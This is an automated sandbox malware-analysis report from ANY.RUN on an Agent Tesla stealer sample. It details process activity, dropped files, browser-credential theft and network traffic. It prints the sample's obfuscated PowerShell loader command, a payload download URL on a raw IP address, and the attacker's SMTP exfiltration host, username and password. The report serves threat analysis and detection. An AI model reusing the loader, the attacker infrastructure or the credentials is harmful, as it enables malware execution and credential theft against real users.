File name:

Winmalware2.zip

Full analysis: https://app.any.run/tasks/063f241f-8ecb-40f5-889e-dfde45d3808d
Verdict: Malicious activity
Threats:

Agent Tesla is spyware that collects information about the actions of its victims by recording keystrokes and user interactions. It is falsely marketed as a legitimate software on the dedicated website where this malware is sold.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 18:23:03
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
arch-exec
evasion
stealer
ultravnc
rmm-tool
exfiltration
smtp
agenttesla
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
MD5:

5FE7FB36BE8F6AEDC48A5703CEDAFDDC

SHA1:

6FCADEFD469964272A8E5DCA15BF91876728F95B

SHA256:

1F8A3D5F8C03BE105A824FFAA4D6D3C3E9518281DF0FDC599FCA0F9ED7E59BF3

SSDEEP:

24576:tBtRbsqfD3mAtsj/OXkgAvKqWIrb5pH8sAcr7F6//r3MnZ8CLC64Gt:tBtRbsqf6Atsj/OXkgAvKqWIr1pH8sAY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Generic archive extractor

      • WinRAR.exe (PID: 7464)

    • Steals credentials from Web Browsers

      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)

    • AGENTTESLA has been detected (YARA)

      • msiexec.exe (PID: 5800)

    • Actions looks like stealing of personal data

      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 7464)

    • Starts POWERSHELL.EXE for commands execution

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7364)
      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 1348)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 4756)
      • powershell.exe (PID: 660)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 4756)
      • powershell.exe (PID: 660)

    • Connects to the server without a host name

      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)

    • Checks for external IP

      • svchost.exe (PID: 2196)
      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)

    • Connects to SMTP port

      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)

    • The process connected to a server suspected of theft

      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)

  • INFO

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 7464)

    • Create files in a temporary directory

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7364)
      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 1348)

    • The sample compiled with english language support

      • WinRAR.exe (PID: 7464)

    • Checks supported languages

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7364)
      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 1348)

    • Reads the computer name

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7364)
      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 1348)

    • Creates files or folders in the user directory

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 7364)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4756)
      • powershell.exe (PID: 660)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 4756)
      • powershell.exe (PID: 660)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 4756)
      • powershell.exe (PID: 660)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 4756)
      • powershell.exe (PID: 660)

    • Checks proxy server information

      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)
      • slui.exe (PID: 5392)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 4756)
      • powershell.exe (PID: 660)

    • Reads security settings of Internet Explorer

      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)

    • Disables trace logs

      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)

    • ULTRAVNC has been detected

      • msiexec.exe (PID: 5800)
      • msiexec.exe (PID: 7748)

    • Reads the software policy settings

      • msiexec.exe (PID: 5800)
      • slui.exe (PID: 5392)
      • msiexec.exe (PID: 7748)

    • Manual execution by a user

      • 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe (PID: 1348)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

AgentTesla

(PID) Process(5800) msiexec.exe
Protocolsmtp
Hostmail.magazinsalajean.ro
Port587
Usernamezaa@magazinsalajean.ro
Passwordboygirl123456
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 51
ZipBitFlag: 0x0003
ZipCompression: Unknown (99)
ZipModifyDate: 2025:05:15 18:08:44
ZipCRC: 0xe3196897
ZipCompressedSize: 507981
ZipUncompressedSize: 525931
ZipFileName: 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
142
Monitored processes
13
Malicious processes
7
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe sppextcomobj.exe no specs 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe no specs powershell.exe no specs conhost.exe no specs rundll32.exe no specs #AGENTTESLA msiexec.exe slui.exe svchost.exe 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe no specs powershell.exe no specs conhost.exe no specs msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
660"powershell.exe" -windowstyle minimized "$Limites=gc -Raw 'C:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Balija.Pen';$Pedometrically=$Limites.SubString(40041,3);.$Pedometrically($Limites)" "$Limites=gc -Raw 'C:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Balija.Pen';$Pedometrically=$Limites.SubString(40041,3);.$Pedometrically($Limites)" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
744C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -EmbeddingC:\Windows\System32\rundll32.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
1348"C:\Users\admin\Downloads\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe" C:\Users\admin\Downloads\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe—explorer.exe
User:
admin
Company:
skovgrnsernes
Integrity Level:
MEDIUM
Description:
tilsjofledes signy teknikumet
Exit code:
4294967295
Modules
Images
c:\users\admin\downloads\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
4300\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4756"powershell.exe" -windowstyle minimized "$Limites=gc -Raw 'C:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Balija.Pen';$Pedometrically=$Limites.SubString(40041,3);.$Pedometrically($Limites)" "$Limites=gc -Raw 'C:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Balija.Pen';$Pedometrically=$Limites.SubString(40041,3);.$Pedometrically($Limites)" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
5392C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5800"C:\WINDOWS\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
4294967295
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
AgentTesla
(PID) Process(5800) msiexec.exe
Protocolsmtp
Hostmail.magazinsalajean.ro
Port587
Usernamezaa@magazinsalajean.ro
Passwordboygirl123456
7224\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7364"C:\Users\admin\AppData\Local\Temp\Rar$EXb7464.21838\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe" C:\Users\admin\AppData\Local\Temp\Rar$EXb7464.21838\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe—WinRAR.exe
User:
admin
Company:
skovgrnsernes
Integrity Level:
MEDIUM
Description:
tilsjofledes signy teknikumet
Exit code:
2
Modules
Images
c:\users\admin\appdata\local\temp\rar$exb7464.21838\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
Total events
17 833
Read events
17 789
Write events
31
Delete events
13

Modification events

(PID) Process:(7464) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(7464) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(7464) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(7464) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Winmalware2.zip
(PID) Process:(7464) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(7464) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(7464) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(7464) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(7464) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(7364) 00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeKey:HKEY_CURRENT_USER\Sheepdog\skotvingernes\sjoflest
Operation:writeName:pjankende
Value:
%felttegnet%\whenso\indpak.jpg
Executable files
2
Suspicious files
9
Text files
17
Unknown types
0

Dropped files

PID
Process
Filename
Type
736400af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Tilsendte.Tolbinary
MD5:D1E0CD01D06FC916628FE85D74BB271B
SHA256:4B8C984DA63E376267C3B2C23B3D79F8D59711EC124FE6C01199FCD67FD60954
736400af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Netstatus.jpgimage
MD5:22F316F3F0218F9C3CC1F5C79DFB5752
SHA256:FF5CB1A7C5EF1F5CC6E44EB93ACB8C2802CE1C1F4CF9907E6ADB1B22E1F8E11D
736400af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Kogeri.jpgimage
MD5:B5EF401EFA67FD2CB6B812CABDED093D
SHA256:382E5D828F34622C0DDD0149E87804B6F45F2213D08E49EF6689187BD93B18DE
736400af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Balija.Pentext
MD5:AB67BDFB35AE2DE3E05BE0911750123D
SHA256:DD17C10E7B01056C2AFAD81F8E9EBDB367754D8861A96DA484BD1D679DC1F874
736400af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Markrpositions.initext
MD5:A2CCF5E023D7773E8C73DC7EB6F81F05
SHA256:FCD5AD634909535143BD0D8798625A377C8D217417BAB4B00768349A7CAA452A
7464WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXb7464.21838\00af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeexecutable
MD5:F68C9EE5BAF1F69A879EF27A8FD4E3D9
SHA256:00AF8460BF334E146F7C6328269126476919D9E69D7E1439A9984B4227D06591
736400af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Rotundify223.txttext
MD5:2A772047C6E682E6A14D8731154D9474
SHA256:B51A6405198B74AFBFF4876A3757290EA80EF65C74532675FDA0EED640B7041C
736400af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\Tilbagekbsvrdien.initext
MD5:B197F0AF21243B2F1C9429AE0311DA17
SHA256:602194567081EA5B10FC732EF636EA1ABDEBE8A48C1793C18960C472A7314CEB
736400af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\ingenirsekvensernes.prebinary
MD5:7A60EC14504DEA7D547407850100DDF7
SHA256:1A50D79C41680CDDEF3F3F50F6990FC2D86E885A8E64C7095EF23F4EB2FEDD48
736400af8460bf334e146f7c6328269126476919d9e69d7e1439a9984b4227d06591.exeC:\Users\admin\AppData\Roaming\arbejdskrfters\ymeres\certifikatpligten\Afskridtedes\krgebr.hesbinary
MD5:E9D35B5819A8938EE82FFC38B545A4E8
SHA256:87F9735CA7AF9C9A8BDADB6D7F0F0CC4ECE96580873DDC66B35EAE66D1807FA4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
31
DNS requests
19
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.48.23.181:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
69.192.161.161:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
8176
SIHClient.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5800
msiexec.exe
GET
200
185.29.9.64:80
http://185.29.9.64/gKihuwGhxt122.bin
unknown
—
—
unknown
5800
msiexec.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
—
—
whitelisted
8176
SIHClient.exe
GET
200
23.219.150.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
7748
msiexec.exe
GET
200
185.29.9.64:80
http://185.29.9.64/gKihuwGhxt122.bin
unknown
—
—
unknown
7748
msiexec.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
23.48.23.181:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
69.192.161.161:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
40.126.31.71:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2112
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 216.58.206.46
whitelisted
crl.microsoft.com
  • 23.48.23.181
  • 23.48.23.189
  • 23.48.23.191
  • 23.48.23.156
  • 23.48.23.175
  • 23.48.23.141
whitelisted
www.microsoft.com
  • 69.192.161.161
  • 23.219.150.101
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
login.live.com
  • 40.126.31.71
  • 20.190.159.73
  • 40.126.31.73
  • 20.190.159.131
  • 40.126.31.130
  • 20.190.159.75
  • 40.126.31.1
  • 20.190.159.23
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
  • 20.73.194.208
whitelisted
slscr.update.microsoft.com
  • 52.149.20.212
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 40.69.42.241
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
  • 20.83.72.98
whitelisted

Threats

PID
Process
Class
Message
5800
msiexec.exe
Potentially Bad Traffic
ET HUNTING Generic .bin download from Dotted Quad
2196
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Check (ip-api .com)
2196
svchost.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com)
5800
msiexec.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
5800
msiexec.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup ip-api.com
5800
msiexec.exe
Successful Credential Theft Detected
STEALER [ANY.RUN] Attempt to exfiltrate via SMTP
7748
msiexec.exe
Potentially Bad Traffic
ET HUNTING Generic .bin download from Dotted Quad
2196
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Check (ip-api .com)
7748
msiexec.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
7748
msiexec.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup ip-api.com
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Winmalware2.zip